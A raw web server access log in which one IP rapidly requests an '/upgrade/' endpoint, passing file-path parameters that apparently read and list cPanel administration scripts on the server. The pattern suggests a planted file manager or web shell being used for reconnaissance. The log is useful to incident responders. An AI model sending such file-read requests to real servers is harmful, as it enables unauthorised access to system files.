45.135.193.11 - - [11/Sep/2026:22:42:58 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Ftransfer_account_as_user&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 38682 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Ftransfer_account_as_user&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:58 -0400] "GET /upgrade/index.php?location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 37718 "http://163.245.207.76:443/upgrade/index.php?location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:58 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fbackups_create_metadata&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 42647 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fbackups_create_metadata&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:58 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fbuildpureftproot&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 38033 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fbuildpureftproot&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:58 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Ffix_dns_zone_ttls&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 38398 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Ffix_dns_zone_ttls&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:58 -0400] "GET /upgrade/?location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 37733 "http://163.245.207.76:443/upgrade/?location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:59 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Ffixvaliases&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 38595 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Ffixvaliases&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:59 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fsetupnameserver&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 42597 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fsetupnameserver&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:59 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fwwwacct2&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 37821 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fwwwacct2&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:59 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Farchive_sync_zones&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 39046 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Farchive_sync_zones&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:59 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fcheckbashshell&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 38218 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fcheckbashshell&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:59 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fconvert_accesshash_to_token&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 39527 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fconvert_accesshash_to_token&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:59 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Ffixmailinglistperms&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 38305 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Ffixmailinglistperms&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:00 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fgenerate_account_suspension_include&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 39939 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fgenerate_account_suspension_include&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:00 -0400] "GET /upgrade/?location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F&option=folder HTTP/1.1" 200 37747 "http://163.245.207.76:443/upgrade/?location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F&option=folder" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:00 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Ffixheaders&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 38071 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Ffixheaders&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:00 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fjetbackup-check&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 38871 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fjetbackup-check&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:00 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Frun_if_exists&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 38042 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Frun_if_exists&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:00 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fcheck_plugin_pkgs&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 38877 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fcheck_plugin_pkgs&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:00 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fcheck_security_advice_changes&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 40958 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fcheck_security_advice_changes&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:01 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Finitialize_360monitoring&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 37798 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Finitialize_360monitoring&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:01 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Frestorecpuserfromcache&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 38684 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Frestorecpuserfromcache&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:01 -0400] "GET /upgrade/?full_path=%2Fusr%2Flocal%2Fcpanel%2Fscripts&location=%2Fusr%2F HTTP/1.1" 200 6730 "http://163.245.207.76:443/upgrade/?full_path=%2Fusr%2Flocal%2Fcpanel%2Fscripts&location=%2Fusr%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:01 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fbuild_cpnat&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 39169 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fbuild_cpnat&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:01 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fexpunge_expired_pkgacct_sessions&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 38126 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fexpunge_expired_pkgacct_sessions&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:01 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Ffixetchosts&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 39328 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Ffixetchosts&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:01 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fsyslog_check&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 37787 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fsyslog_check&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:01 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fupdate_users_jail&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 38105 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fupdate_users_jail&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:02 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fcpuser_port_authority&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 44539 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fcpuser_port_authority&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:02 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fsimpleps&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 38932 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fsimpleps&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:02 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fsuspendacct&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 43794 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fsuspendacct&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:02 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fverify_vhost_includes&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 40441 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fverify_vhost_includes&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:02 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Factivesync-invite-reply&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 38530 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Factivesync-invite-reply&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:02 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fftpsfetch&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 38340 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fftpsfetch&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:03 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Funlink_service_account&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 39007 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Funlink_service_account&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:03 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Funsuspendacct&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 44364 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Funsuspendacct&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:03 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fchecklink&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 38309 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fchecklink&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:03 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Frestartsrv_apache&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 37955 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Frestartsrv_apache&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:03 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fsecuremysql&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 39670 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fsecuremysql&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:03 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fsetup_systemd_timer_for_plugins&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 37801 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fsetup_systemd_timer_for_plugins&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:03 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Frestartsrv_cpanellogd&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 2154063 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Frestartsrv_cpanellogd&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:04 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fchpass&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 37788 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fchpass&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:04 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Frestartsrv_spamd&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 2154082 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Frestartsrv_spamd&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:04 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Frestorepkg&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 37775 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Frestorepkg&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:04 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Frestartsrv_p0f&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 2154164 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Frestartsrv_p0f&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:04 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fsecureit&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 39389 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fsecureit&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:05 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fupgrade_subaccount_databases&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 39067 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fupgrade_subaccount_databases&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:05 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fuserdata_wildcard_cleanup&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 39921 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fuserdata_wildcard_cleanup&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:05 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fvalidate_sshkey_passphrase&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 38330 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fvalidate_sshkey_passphrase&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
